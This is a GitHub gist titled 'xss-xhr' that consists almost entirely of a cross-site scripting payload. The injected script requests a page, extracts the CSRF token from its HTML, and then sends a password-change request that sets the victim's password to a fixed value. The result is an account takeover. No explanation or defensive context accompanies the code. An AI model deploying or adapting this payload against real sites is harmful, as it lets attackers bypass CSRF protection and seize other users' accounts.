Skip to content

Instantly share code, notes, and snippets.

@scarvell
Created March 27, 2017 22:27
Show Gist options
  • Save scarvell/3c7abe2c8656d61fab800e286b7c6e23 to your computer and use it in GitHub Desktop.
Save scarvell/3c7abe2c8656d61fab800e286b7c6e23 to your computer and use it in GitHub Desktop.
xss-xhr
<script>
var x = new XMLHttpRequest();
x.open("GET", "/lk", true);
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
text = x.responseText;
text = text.substr(text.indexOf('invisible">') + 'invisible">'.length);
csrf = text.substr(0, text.indexOf('</p>'));
newdata = JSON.stringify({'new_password':'QWERTYqwerty1',confirm_password:'QWERTYqwerty1','token':csrf});
y = new XMLHttpRequest();
y.open("POST", "/change_password", true);
y.setRequestHeader("Content-type", "application/json");
y.send(newdata);
}
};
x.send(null);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment